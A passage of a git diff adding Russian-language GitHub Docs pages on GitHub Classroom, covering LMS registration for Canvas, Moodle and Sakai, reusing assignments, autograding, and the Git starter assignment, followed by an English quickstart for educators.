состояние ключа в положение "Вкл.". + +### 2. Зарегистрируйте ключи разработчика в {% data variables.product.prodname_classroom %} + +1. Перейдите к https://classroom.github.com/register-lms. +2. Заполните следующие сведения: + - В разделе "Тип LMS" выберите "Canvas" в раскрывающемся меню. + - "Идентификатор издателя": `https://canvas.instructure.com` + - "Domain": базовый URL-адрес экземпляра Canvas. + - "Идентификатор клиента": "Идентификатор клиента" в разделе "Сведения" из созданного вами ключа разработчика. + - "Конечная точка авторизации OIDC": базовый URL-адрес экземпляра Canvas с `/login/oauth2/token` добавлением в конце. + - "URL-адрес извлечения маркера OAuth 2.0": базовый URL-адрес экземпляра Canvas с `/api/lti/authorize_redirect` добавлением в конце. + - "URL-адрес набора ключей": базовый URL-адрес экземпляра Canvas с `/api/lti/security/jwks` добавлением в конце. + + ![Регистрация экземпляра Canvas в GitHub Classroom](/assets/images/help/classroom/register-canvas-with-github-classroom.png) + +3. Щелкните **Зарегистрировать**. +4. В верхней части экрана должен появиться баннер "Успешно зарегистрировано LMS". Это означает, что вы зарегистрировали экземпляр LMS, а преподаватели теперь могут связать свои классы. + +## Настройка Moodle для {% data variables.product.prodname_classroom %} + +Вы можете зарегистрировать установку Moodle в {% data variables.product.prodname_classroom %}, чтобы преподаватели могли импортировать данные реестра в свои классы. Дополнительные сведения о Moodle см. на [веб-сайте Moodle](https://moodle.org). + +Необходимо использовать Moodle версии 3.0 или более поздней. + +### 1. Включение публикации в качестве инструмента LTI в Moodle + +1. Войдите в [Moodle](https://moodle.org/login/). +2. Перейдите на вкладку "Администрирование сайта" в меню верхнего уровня. +3. На странице "Администрирование сайта" откройте вкладку "Подключаемые модули", прокрутите вниз до раздела "Проверка подлинности" и щелкните **Управление проверкой подлинности**. +4. Рядом с полем "LTI" нажмите переключатель, чтобы включить LTI. +5. Снова откройте вкладку "Подключаемые модули", прокрутите вниз до пункта "Регистрации" и щелкните **Управление подключаемыми модулями регистрации**. +6. Рядом с полем "Опубликовать как средство LTI" нажмите переключатель, чтобы включить публикацию в качестве средства LTI. +7. Вернитесь на страницу "Администрирование сайта", щелкнув вкладку "Администрирование сайта" в меню верхнего уровня, а затем прокрутите вниз до раздела "Безопасность" и выберите **Пункт Безопасность HTTP**. +8. Рядом с параметром "Разрешить внедрение кадров" установите флажок, чтобы включить внедрение кадров, а затем нажмите кнопку **Сохранить изменения**. + +### 2. Регистрация {% data variables.product.prodname_classroom %} в качестве внешнего средства + +1. Вернитесь на страницу Moodle "Администрирование сайта", щелкнув вкладку "Администрирование сайта" в меню верхнего уровня. +2. Перейдите на вкладку "Подключаемые модули", а затем рядом с разделом "Модули действий" в разделе "Внешнее средство" щелкните **Управление инструментами**. +3. Щелкните **Настроить средство вручную**. +4. Введите в поля следующие значения: + + | Поле в конфигурации приложения Moodle | Значение или параметр | + | :- | :- | + | **Имя средства** | `GitHub Classroom` <br/><br/>**Примечание.** Вы можете использовать любое имя, но если для этого параметра задано другое значение, убедитесь, что об этом сообщается преподавателям. | + | **URL-адрес средства** | `https://classroom.github.com` | + | **Версия LTI** | `LTI 1.3` | + | **Тип открытого ключа** | `Keyset URL` | + | **Открытый набор ключей** | `https://classroom.github.com/.well-known/jwks.json` | + | **URL-адрес для входа в систему** | `https://classroom.github.com/lti1p3/openid-connect/auth` | + | **URI перенаправления** | `https://classroom.github.com/lti1p3/openid-connect/redirect` | + | **Контейнер запуска по умолчанию** | `New window` | + +5. Установите флажок **Поддерживает глубокую компоновку (сообщение content-Item).** +6. В раскрывающемся списке "Службы" рядом с пунктом "ImS LTI Names and Role Provisioning" выберите "Использовать эту службу для получения сведений о участниках в соответствии с параметрами конфиденциальности" в раскрывающемся меню. +7. Нажмите кнопку **Сохранить изменения**. +8. GitHub Classroom теперь зарегистрирован как внешний инструмент. В разделе "Инструменты" в поле "GitHub Classroom" щелкните значок меню, чтобы увидеть экран "Сведения о конфигурации средства". На этом экране содержатся важные сведения, которые необходимо ввести на последнем шаге регистрации экземпляра в {% data variables.product.prodname_classroom %} ниже. + +### 3. Регистрация экземпляра Moodle с помощью {% data variables.product.prodname_classroom %} + +1. Перейдите к https://classroom.github.com/register-lms. +2. Заполните следующие сведения: + - В разделе "Тип LMS" выберите "Moodle" в раскрывающемся меню. + - "Идентификатор издателя": идентификатор платформы из раздела "Сведения о конфигурации средства" внешнего средства, созданного в Moodle. + - "Domain": базовый URL-адрес экземпляра Moodle. + - "Идентификатор клиента": "Идентификатор клиента" из раздела "Сведения о конфигурации средства" внешнего средства, созданного в Moodle. + - "URL-адрес запроса проверки подлинности": "URL-адрес запроса проверки подлинности" из раздела "Сведения о конфигурации средства" внешнего средства, созданного в Moodle. + - "URL-адрес маркера доступа": "URL-адрес маркера доступа" из раздела "Сведения о конфигурации средства" внешнего средства, созданного в Moodle. + - "URL-адрес набора ключей": "ОТКРЫТЫЙ URL-адрес набора ключей" из раздела "Сведения о конфигурации средства" внешнего средства, созданного в Moodle. + + ![Регистрация экземпляра Moodle в GitHub Classroom](/assets/images/help/classroom/register-moodle-with-github-classroom.png) + +3. Щелкните **Зарегистрировать**. +4. В верхней части экрана должен появиться баннер "Успешно зарегистрировано LMS". Это означает, что вы зарегистрировали экземпляр LMS, а преподаватели теперь могут связать свои классы. + +## Настройка Sakai для {% data variables.product.prodname_classroom %} + +### 1. Регистрация {% data variables.product.prodname_classroom %} в качестве внешнего средства + +1. Перейдите к Sakai и войдите в систему. +2. Перейдите в раздел "Рабочая область администрирования" и выберите **Внешние средства** на боковой панели слева. +3. Щелкните **Install LTI 1.x Tool (Установить средство LTI 1.x).** +4. Введите в поля следующие значения: + + | Поле в конфигурации приложения Sakai | Значение или параметр | + | :- | :- | + | **Имя средства** | GitHub Classroom — [имя вашего курса] <br/><br/>**Примечание.** Вы можете использовать любое имя, но если для этого параметра задано другое значение, убедитесь, что об этом сообщается преподавателям. | + | **Текст кнопки** (текст в меню инструментов) | Что преподаватель увидит на кнопке для запуска {% data variables.product.prodname_classroom %}. Например, значением может быть `sync`. | + | **Открытие URL-адреса** | `https://classroom.github.com/context-link` | + | **Отправка имен пользователей во внешнее средство** | установите этот флажок. | + | **Предоставление списка внешнему средству** | установите этот флажок. | + | **Инструмент поддерживает LTI 1.3** | установите этот флажок. | + | **URL-адрес набора ключей средства LTI 1.3** | `https://classroom.github.com/.well-known/jwks.json` | + | **Средство LTI 1.3 OpenID Connect/конечная точка инициализации** | `https://classroom.github.com/lti1p3/openid-connect/auth` | + | **Конечная точка перенаправления средства LTI 1.3** | `https://classroom.github.com/lti1p3/openid-connect/redirect` | +5. После отправки Sakai отобразит сведения, необходимые для регистрации экземпляра Sakai в {% data variables.product.prodname_classroom %}. + +### 2. Регистрация экземпляра Sakai в {% data variables.product.prodname_classroom %} + +1. Перейдите к https://classroom.github.com/register-lms. +2. Заполните следующие сведения: + - В разделе "Тип LMS" выберите "Sakai" в раскрывающемся меню. + - "Издатель платформы LTI 1.3": поле "Издатель платформы LTI 1.3", предоставленное Sakai + - "Domain": базовый URL-адрес экземпляра Sakai. + - "Идентификатор клиента LTI 1.3": поле "Идентификатор клиента LTI 1.3", предоставленное Sakai. + - "LTI 1.3 Platform OIDC Authentication URL": поле "LTI 1.3 Platform OIDC Authentication URL" (URL-адрес проверки подлинности платформы OIDC), предоставленное Sakai. + - "LTI 1.3 Platform OAuth2 Bearer Token Retrieval URL": поле "LTI 1.3 Platform OAuth2 Bearer Token Retrieval URL", предоставленное Sakai + - "LTI 1.3 Platform OAuth2 Well-Known/KeySet URL": поле "LTI 1.3 Platform OAuth2 Well-Known/KeySet URL", предоставленное Sakai + + ![Регистрация экземпляра Sakai в GitHub Classroom](/assets/images/help/classroom/register-sakai-with-github-classroom.png) + +3. Щелкните **Зарегистрировать**. +4. В верхней части экрана должен появиться баннер "Успешно зарегистрировано LMS". Это означает, что вы зарегистрировали экземпляр LMS, а преподаватели теперь могут связать свои классы. diff --git a/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/reuse-an-assignment.md b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/reuse-an-assignment.md new file mode 100644 index 000000000000..88cc9051cb18 --- /dev/null +++ b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/reuse-an-assignment.md @@ -0,0 +1,61 @@ +--- +title: Повторное использование назначения +intro: 'Можно повторно использовать существующие назначения в нескольких классах, в том числе в классах в другой организации.' +versions: + fpt: '*' +permissions: 'Organization owners who are admins for a classroom can reuse assignments from a classroom. {% data reusables.classroom.classroom-admins-link %}' +shortTitle: Reuse an assignment +ms.openlocfilehash: 4c1c9048847affef95d5c904b188e68d2c183b43 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147066917' +--- +## Сведения о повторном использовании назначений + +Можно повторно использовать существующее индивидуальное или групповое назначение в любом другом классе, к которому у вас есть доступ, включая классы в другой организации. Вы также можете повторно использовать несколько назначений из класса одновременно. Если вы решили повторно использовать назначение, {% data variables.product.prodname_classroom %} скопирует задание в выбранный класс. Если назначение использует репозиторий шаблонов, а вы решили повторно использовать его в классе из другой организации, {% data variables.product.prodname_classroom %} создаст копию репозитория и его содержимого в целевой организации. + +Скопированное назначение включает сведения о назначении, такие как имя, исходный репозиторий, проверка автоматической оценки и предпочитаемый редактор. Можно изменить назначение после его копирования, чтобы внести изменения. Нельзя вносить изменения в предпочитаемый редактор. + +## Повторное использование назначения + +1. Войдите в {% data variables.product.prodname_classroom_with_url %}. +1. Перейдите в класс, в котором находится назначение, которое вы хотите повторно использовать. + + ![Аудитория в списке аудиторий для организации](/assets/images/help/classroom/click-classroom-in-list.png) + +1. В списке назначений выберите назначение, которое хотите повторно использовать. + + ![Назначение в списке назначений для аудитории](/assets/images/help/classroom/click-assignment-in-list.png) + +1. Выберите раскрывающееся меню **Изменить {% octicon "pencil" aria-label="The pencil icon" %}** в правом верхнем углу страницы, а затем **Повторно использовать назначение {% octicon "sync" aria-label="The sync icon" %}** . + + ![Кнопка повторного использования назначения](/assets/images/help/classroom/reuse-assignment-button.png) + +1. В модальном окне Reuse assignment (Повторное использование назначения) используйте раскрывающееся меню **Choose an organization** (Выбор организации), чтобы выбрать организацию, в которой должно находиться назначение. Затем используйте раскрывающееся меню **Выбор класса**, чтобы выбрать класс в этой организации, в который требуется скопировать назначение. + + ![Модальное окно повторного использования](/assets/images/help/classroom/reuse-assignment-modal.png) + +1. Щелкните **Создать назначение**. +1. Назначение копируется в выбранный класс, и отображается сообщение с подтверждением. Если вы решили повторно использовать назначение с репозиторием шаблонов, процесс копирования может занять несколько минут, а также может потребоваться обновить страницу, чтобы увидеть сообщение "Завершено". + + ![Сообщение "Завершено" для повторного назначения](/assets/images/help/classroom/reuse-assignment-completed-message.png) + +## Повторное использование нескольких назначений из класса + +1. Войдите в {% data variables.product.prodname_classroom_with_url %}. +2. Справа от имени класса выберите раскрывающееся меню {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, затем нажмите **Reuse assignment** (Использовать назначение повторно). + + ![Снимок экрана: страница обзора класса с выделенным раскрывающимся списком](/assets/images/help/classroom/classroom-reuse-assignment-modal.png) + +3. В модальном окне Reuse assignments (Повторное использование назначений) используйте раскрывающееся меню **Choose an organization** (Выбор организации), чтобы выбрать организацию, в которой должны находиться назначения. Затем используйте раскрывающееся меню **Choose a classroom** (Выбор класса), чтобы выбрать класс в этой организации, в который нужно скопировать назначения. + + ![Снимок экрана: модальное окно повторного использования назначений](/assets/images/help/classroom/reuse-multiple-assignments-modal.png) + +4. Слева от каждого назначения выберите то, которое нужно использовать повторно. + + ![Снимок экрана: несколько выбранных назначений](/assets/images/help/classroom/multiple-assignments-selected.png) + +5. Нажмите **Create assignments** (Создать назначения). +6. Назначения копируются в выбранный класс. Если выбрано повторное использование назначения с репозиторием шаблонов, процесс копирования может занять несколько минут. diff --git a/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md new file mode 100644 index 000000000000..18fe93f53987 --- /dev/null +++ b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md @@ -0,0 +1,101 @@ +--- +title: Использование автоматической проверки +intro: 'Вы можете автоматически оставить отзыв об отправке кода учащимися, настроив тесты для выполнения в репозитории назначений.' +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' +permissions: 'Organization owners who are admins for a classroom can set up and use autograding on assignments in a classroom. {% data reusables.classroom.classroom-admins-link %}' +redirect_from: + - /education/manage-coursework-with-github-classroom/adding-tests-for-auto-grading + - /education/manage-coursework-with-github-classroom/reviewing-auto-graded-work-teachers + - /education/manage-coursework-with-github-classroom/use-autograding +ms.openlocfilehash: b3e9b44da93d799972b93a9f6e822b767099fdba +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145112147' +--- +## Сведения об автоматической проверке + +{% data reusables.classroom.about-autograding %} + +После того как учащийся примет задание, при каждой отправке в репозиторий заданий {% data variables.product.prodname_actions %} выполняет команды для теста для автоматической проверки в среде Linux, содержащей новейший код учащегося. {% data variables.product.prodname_classroom %} создает необходимые рабочие процессы для {% data variables.product.prodname_actions %}. Для использования автоматической проверки опыт работы с {% data variables.product.prodname_actions %} не требуется. + +Вы можете использовать платформу тестирования, выполнить пользовательскую команду, записать тесты входных или выходных данных или объединить различные методы тестирования. Среда Linux для автоматической проверки содержит множество популярных программных средств. Дополнительную информацию можно найти в сведениях для последней версии Ubuntu в статье [Спецификации для средств выполнения тестов в среде {% data variables.product.company_short %}](/actions/reference/specifications-for-github-hosted-runners#supported-software). + +Общие сведения о том, какие учащиеся проходят тесты автоматической проверки, можно найти в задании в {% data variables.product.prodname_classroom %}. Зеленая галочка означает, что все тесты проходят для учащегося, а красный крестик означает, что некоторые или все тесты завершаются неудачей. Если вы присваиваете баллы за один или несколько тестов, то пузырьке будет показана оценка по результатам тестов и максимально возможная оценка за задание. + +![Общие сведения о задании с результатами автоматической проверки](/assets/images/help/classroom/assignment-individual-hero.png) + +## Методы проверки + +Существует два метода проверки: тесты входных и выходных данных и выполнение команд. + +### Тест входных и выходных данных + +При необходимости тест входных и выходных данных выполняет команду настройки, а затем предоставляет стандартные входные данные для команды теста. {% data variables.product.prodname_classroom %} оценивает выходные данные команды теста, сверяя с ожидаемым результатом. + +| Параметр | Описание | +| :- | :- | +| **Имя теста** | Имя теста, которым он обозначен в журналах. | +| **Команда настройки** | _Необязательно_. Команда, выполняемая перед тестами, например компиляция или установка. | +| **Команда выполнения** | Команда для выполнения теста и создания стандартных выходных данных, которые будут оценены. | +| **Входные данные** | Стандартные входные данные для команды выполнения. | +| **Ожидаемые выходные данные** | Выходные данные, которые ожидаются в стандартных выходных данных команды выполнения. | +| **Сравнение** | Тип сравнения выходных данных команды выполнения и ожидаемых выходных данных<br/><br/><ul><li>**Включено** — тест считается пройденным, если ожидаемые выходные данные<br/>есть в любой части стандартных выходных данных команды выполнения.</li><li>**Точно** — тест считается пройденным, если ожидаемые выходные данные полностью идентичны<br/>стандартным выходным данным команды выполнения.</li><li>**Регулярное выражение** — тест считается пройденным, если регулярное выражение<br/>в ожидаемых выходных данных совпадает со стандартными выходными данными команды выполнения.</li></ul> | +| **Timeout** | Значение в минутах длительности выполнения теста, прежде чем он будет завершен со сбоем. | +| **Точки** | _Необязательно_. Количество баллов, которые присуждаются за тест, в составе общей оценки. | + +### Тест команды выполнения + +При выполнении теста команды выполнения запускается команда настройки, а затем команда теста. {% data variables.product.prodname_classroom %} проверяет выходное состояние команды теста. Код выхода `0` приводит к успешному выполнению, а любой другой код выхода приводит к сбою. + +{% data variables.product.prodname_classroom %} содержит предустановки для тестов команд выполнения на разных языках программирования. Например, тест **Запуска узла** указывает в команде настройки `npm install`, а в команде теста `npm test`. + +| Параметр | Описание | +| :- | :- | +| **Имя теста** | Имя теста, которым он обозначен в журналах. | +| **Команда настройки** | _Необязательно_. Команда, выполняемая перед тестами, например компиляция или установка. | +| **Команда выполнения** | Команда для выполнения теста и создания кода выхода для оценки. | +| **Timeout** | Значение в минутах длительности выполнения теста, прежде чем он будет завершен со сбоем. | +| **Точки** | _Необязательно_. Количество баллов, которые присуждаются за тест, в составе общей оценки. | + +## Настройка тестов для автоматической проверки задания + +Вы можете добавить тесты для автоматической проверки во время создания нового задания. {% data reusables.classroom.for-more-information-about-assignment-creation %} + +Вы можете добавлять, изменять или удалять тесты для автоматической проверки для существующего задания. Все изменения, внесенные через пользовательский интерфейс Classroom, будут отправлены в существующие репозитории учащихся, поэтому будьте внимательны при редактировании тестов. + +{% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.assignments-click-pencil %} +1. На левой боковой панели щелкните **Оценки и обратная связь**. + ![Пункт "Оценки и обратная связь" слева от основных сведений о задании](/assets/images/help/classroom/assignments-click-grading-and-feedback.png) +1. Добавление, изменение или удаление теста для автоматической проверки. + - Чтобы добавить тест, в разделе "Добавить тесты с автоматической проверкой" выберите раскрывающееся меню **Добавить тест**, а затем метод оценки, который хотите использовать. + ![В раскрывающемся меню "Добавить тест" выберите метод оценки](/assets/images/help/classroom/autograding-click-grading-method.png) Настройте тест, а затем нажмите кнопку **Сохранить тестовый случай**. + ![Кнопка "Сохранить тестовый случай" для теста для автоматической проверки](/assets/images/help/classroom/assignments-click-save-test-case-button.png) + - Чтобы изменить тест, справа от имени теста щелкните {% octicon "pencil" aria-label="The pencil icon" %}. + ![Значок карандаша для редактирования теста для автоматической проверки](/assets/images/help/classroom/autograding-click-pencil.png) Настройте тест, а затем нажмите кнопку **Сохранить тестовый случай**. + ![Кнопка "Сохранить тестовый случай" для теста для автоматической проверки](/assets/images/help/classroom/assignments-click-save-test-case-button.png) + - Чтобы удалить тест, справа от имени теста щелкните {% octicon "trash" aria-label="The trash icon" %}. + ![Значок корзины для удаления теста для автоматической проверки](/assets/images/help/classroom/autograding-click-trash.png) +1. В нижней части страницы нажмите кнопку **Обновить задание**. + ![Кнопка "Обновить задание" в нижней части страницы.](/assets/images/help/classroom/assignments-click-update-assignment.png) + +## Просмотр и скачивание результатов тестов для автоматической проверки + +### Скачивание результатов автоматической проверки + +Вы также можете загрузить CSV-файл оценок учащихся, выставленных функцией автоматической проверки, с помощью кнопки "Загрузить". При этом будет создан и скачан CSV-файл, содержащий ссылку на репозиторий учащегося, дескриптор {% data variables.product.prodname_dotcom %} учащегося, идентификатор в списке, метка времени отправки и оценка функции автоматической проверки. + +![Кнопка "Загрузить" с выделенным значением "Загрузить выделенные оценки" и дополнительным параметром "Скачать репозитории"](/assets/images/help/classroom/download-grades.png) + +### Просмотр отдельных журналов +{% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-assignment-in-list %} +1. Справа от задания нажмите кнопку **Просмотреть тест**. + ![Кнопка "Просмотреть тест" для отправки задания](/assets/images/help/classroom/assignments-click-view-test.png) +1. Просмотрите выходные данные теста. Дополнительные сведения см. в разделе «[Использование журналов выполнения рабочего процесса](/actions/managing-workflow-runs/using-workflow-run-logs)». + +## Дополнительные материалы + +- [Документация {% data variables.product.prodname_actions %}](/actions) diff --git a/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md new file mode 100644 index 000000000000..a319ef8655b7 --- /dev/null +++ b/translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md @@ -0,0 +1,109 @@ +--- +title: Использование начального назначения Git и GitHub +intro: 'Можно использовать начальное назначение Git и {% data variables.product.company_short %} для предоставления учащимся основных сведений о Git и информации о принципах работы с {% data variables.product.company_short %}.' +versions: + fpt: '*' +permissions: 'Organization owners who are admins for a classroom can use Git & {% data variables.product.company_short %} starter assignments. {% data reusables.classroom.classroom-admins-link %}' +redirect_from: + - /education/manage-coursework-with-github-classroom/use-the-git-and-github-starter-assignment +shortTitle: Starter assignment +ms.openlocfilehash: fa4c3e648efee4e73a9ab3fc9e2d99897a09c9f3 +ms.sourcegitcommit: bafb4fe4c8c086a510eafee6e54a2d172fd3a01b +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/16/2022 +ms.locfileid: '148046574' +--- +Начальное назначение Git & {% data variables.product.company_short %} — это предварительно подготовленный курс, который резюмирует основы Git и {% data variables.product.company_short %} и направляет учащихся на ресурсы, где можно узнать больше о конкретных темах. + +## Предварительные требования + +{% data reusables.classroom.assignments-classroom-prerequisite %} + +## Создание начального назначения + +### Если в классе нет существующих назначений + +1. Войдите в {% data variables.product.prodname_classroom_with_url %}. +2. Перейдите к аудитории. +3. На вкладке {% octicon "repo" aria-label="The repo icon" %} **Назначения** щелкните **Использовать начальное назначение**. + +<div class="procedural-image-wrapper"> + <img alt="Creating your first assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-create-first-assignment.png"> +</div> + +### Если в классе уже есть назначения + +1. Войдите в {% data variables.product.prodname_classroom_with_url %}. +2. Перейдите к аудитории. +3. На вкладке {% octicon "repo" aria-label="The repo icon" %} **Назначения** щелкните ссылку на синий баннер. + +<div class="procedural-image-wrapper"> + <img alt="The 'New assignment' button" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-click-new-starter-assignment-button.png"> +</div> + +## Настройка основных сведений о задании + +Импортируйте начальный курс в организацию, назовите назначение, решите, назначать ли крайний срок, и выберите видимость репозиториев назначений. + +- [Предварительные требования](#prerequisites) +- [Создание начального назначения](#creating-the-starter-assignment) + - [Если в классе нет существующих назначений](#if-there-are-no-existing-assignments-in-the-classroom) + - [Если в классе уже есть назначения](#if-there-already-are-existing-assignments-in-the-classroom) +- [Настройка основных сведений о назначении](#setting-up-the-basics-for-an-assignment) + - [Импорт назначения](#importing-the-assignment) + - [Присвоение имени назначению](#naming-the-assignment) + - [Назначение крайнего срока выполнения для задания](#assigning-a-deadline-for-an-assignment) + - [Выбор видимости для репозиториев задания](#choosing-a-visibility-for-assignment-repositories) +- [Приглашение учащихся в назначение](#inviting-students-to-an-assignment) +- [Следующие шаги](#next-steps) +- [Дополнительные материалы](#further-reading) + +### Импорт назначения + +Сначала необходимо импортировать начальное назначение Git & {% data variables.product.product_name %} в организацию. + +<div class="procedural-image-wrapper"> + <img alt="The `Import the assignment` button" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-import-starter-assignment.png"> +</div> + +### Присвоение имени назначению + +Для отдельного задания {% data variables.product.prodname_classroom %} устанавливает имена репозиториев, состоящие из префикса репозитория и имени пользователя учащегося {% data variables.product.product_name %}. По умолчанию префикс репозитория используется в качестве заголовка задания. Например, если имя задания — "assignment-1", а имя пользователя учащегося в {% data variables.product.product_name %} — @octocat, репозиторий задания для @octocat получит имя `assignment-1-octocat`. + +{% data reusables.classroom.assignments-type-a-title %} + +### Назначение крайнего срока выполнения для задания + +{% data reusables.classroom.assignments-guide-assign-a-deadline %} + +### Выбор видимости для репозиториев задания + +Репозитории для задания могут быть общедоступными или частными. Если используются частные репозитории, то отзыв сможет увидеть только учащийся. В разделе "Видимость репозитория" выберите видимость. + +По завершении нажмите кнопку **Продолжить**. {% data variables.product.prodname_classroom %} создаст назначение и откроется страница назначения. + +<div class="procedural-image-wrapper"> + <img alt="'Continue' button" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-click-continue-button.png"> +</div> + +## Приглашение учащихся в задание + +{% data reusables.classroom.assignments-guide-invite-students-to-assignment %} + +На вкладке **Все учащиеся** для назначения можно увидеть, присоединился ли учащийся к классу, а также принял ли он назначение и отправил ли он его. {% data reusables.classroom.assignments-to-prevent-submission %} + +<div class="procedural-image-wrapper"> + <img alt="Individual assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png"> +</div> + +Начальное назначение Git & {% data variables.product.company_short %} доступно только для отдельных учащихся, а не для групп. После создания назначения учащиеся могут начать работу над ним. + +## Дальнейшие действия + +- Адаптируйте дополнительные назначения для курса. Дополнительные сведения см. в разделе [Создание индивидуального назначения](/education/manage-coursework-with-github-classroom/create-an-individual-assignment), [Создание назначения для группы](/education/manage-coursework-with-github-classroom/create-a-group-assignment) и [Повторное использование назначения](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/reuse-an-assignment). + +## Дополнительные материалы + +- [{% data variables.product.prodname_global_campus %} для преподавателей](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers) +- "[Подключение курса системы управления обучением к аудитории](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom)" diff --git a/translations/ru-RU/content/education/quickstart.md b/translations/ru-RU/content/education/quickstart.md new file mode 100644 index 000000000000..8706ee039157 --- /dev/null +++ b/translations/ru-RU/content/education/quickstart.md @@ -0,0 +1,94 @@ +--- +title: Quickstart for GitHub Educators +intro: 'In about 15 minutes, teachers can get started with discounts, training, and tools for {% data variables.product.company_short %}, then create a classroom for the students in a software development course using {% data variables.product.prodname_classroom %}.' +allowTitleToDifferFromFilename: true +versions: + fpt: '*' +shortTitle: Quickstart +--- + +## Introduction + +Educators who teach a course on software development can use discounts, partnerships, training, and tools from {% data variables.product.prodname_education %} to effectively teach relevant skills to students. + +In this guide, you'll get started with {% data variables.product.product_name %}, sign up for accounts and discounted services through {% data variables.product.prodname_education %}, and create a space for your course and assignment on {% data variables.product.prodname_classroom %}. + +{% tip %} + +**Tip**: If you're a student and you'd like to take advantage of an academic discount, see "[Apply to {% data variables.product.prodname_global_campus %} as a student](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student)." + +{% endtip %} + +## Creating accounts on {% data variables.product.product_name %} + +First, you'll need to create a free personal account on {% data variables.product.product_name %}. + +{% data reusables.accounts.create-account %} +1. Follow the prompts to create your free personal account. + +After you create your personal account, create a free organization account. You'll use this organization account to create and manage classrooms {% data variables.product.prodname_classroom %}. + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.organizations %} +{% data reusables.organizations.new-organization %} +4. Follow the prompts to create a free organization. + +For more information, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/github/getting-started-with-github/types-of-github-accounts)." + +## Applying for teacher benefits + +Next, you'll sign up for teacher benefits and resources from {% data variables.product.company_short %} by applying to {% data variables.product.prodname_global_campus %}, a portal that allows you to access your education benefits all in one place. {% data reusables.education.educator-requirements %} + +{% tip %} + +**Tip** In addition to individual discounts, {% data variables.product.company_short %} offers partnerships with educational institutions through the {% data variables.product.prodname_campus_program %}. For more information, see the [{% data variables.product.prodname_campus_program %}](https://education.github.com/schools) website. + +{% endtip %} + +{% data reusables.education.benefits-page %} +{% data reusables.education.click-get-teacher-benefits %} +{% data reusables.education.select-email-address %} +{% data reusables.education.upload-proof-status %} +{% data reusables.education.school-name %} +{% data reusables.education.plan-to-use-github %} +{% data reusables.education.submit-application %} + +Once you are a verified {% data variables.product.prodname_global_campus %} educator, you can access {% data variables.product.prodname_global_campus %} anytime by going to the [{% data variables.product.prodname_education %} website](https://education.github.com). + +## Set up {% data variables.product.prodname_classroom %} + +With your personal account and organization account, you're ready to get started with {% data variables.product.prodname_classroom %}. {% data variables.product.prodname_classroom %} is free to use. You can track and manage assignments, grade work automatically, and provide feedback to your students. + +{% data reusables.classroom.sign-into-github-classroom %} +1. To authorize {% data variables.product.prodname_classroom %} to access your personal account on {% data variables.product.prodname_dotcom %}, review the information, then click **Authorize {% data variables.product.prodname_classroom %}**. + !["Authorize {% data variables.product.prodname_classroom %}" button for personal account](/assets/images/help/classroom/setup-click-authorize-github-classroom.png) +1. Review the information. To authorize {% data variables.product.prodname_classroom %} to access your organization account on {% data variables.product.prodname_dotcom %}, click **Grant**. + !["Grant" button for organization](/assets/images/help/classroom/setup-click-grant.png) + + {% tip %} + + **Tip**: If you see a **Request** button instead of a **Grant** button, you are a member of the organization, not an owner. An owner must approve your request for {% data variables.product.prodname_classroom %}. You must be an organization owner to create and manage classrooms and assignments in {% data variables.product.prodname_classroom %}. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps#oauth-apps-and-organizations)." + + {% endtip %} + +1. Click **Authorize github**. + ![Click "Authorize" button for organization](/assets/images/help/classroom/setup-click-authorize-github.png) + +## Create your classroom + +{% data reusables.classroom.about-classrooms %} + +{% data reusables.classroom.sign-into-github-classroom %} +1. Click **Create your first classroom** or **New classroom**. +{% data reusables.classroom.guide-create-new-classroom %} + +## Next steps + +You've created a classroom, and you're ready to enrich your course with {% data variables.product.product_name %} and {% data variables.product.prodname_classroom %}! 🎉 + +- Watch some videos about {% data variables.product.prodname_classroom %}. For more information, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)." +- Manage your classrooms and classroom admins, and create a roster of students for your classroom. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms)." +- Use the Git and {% data variables.product.company_short %} starter assignment to give students an overview of Git and {% data variables.product.product_name %} fundamentals. For more information, see "[Use the Git and {% data variables.product.company_short %} starter assignment](/education/manage-coursework-with-github-classroom/use-the-git-and-github-starter-assignment)." +- Create an assignment for individual students or teams. {% data 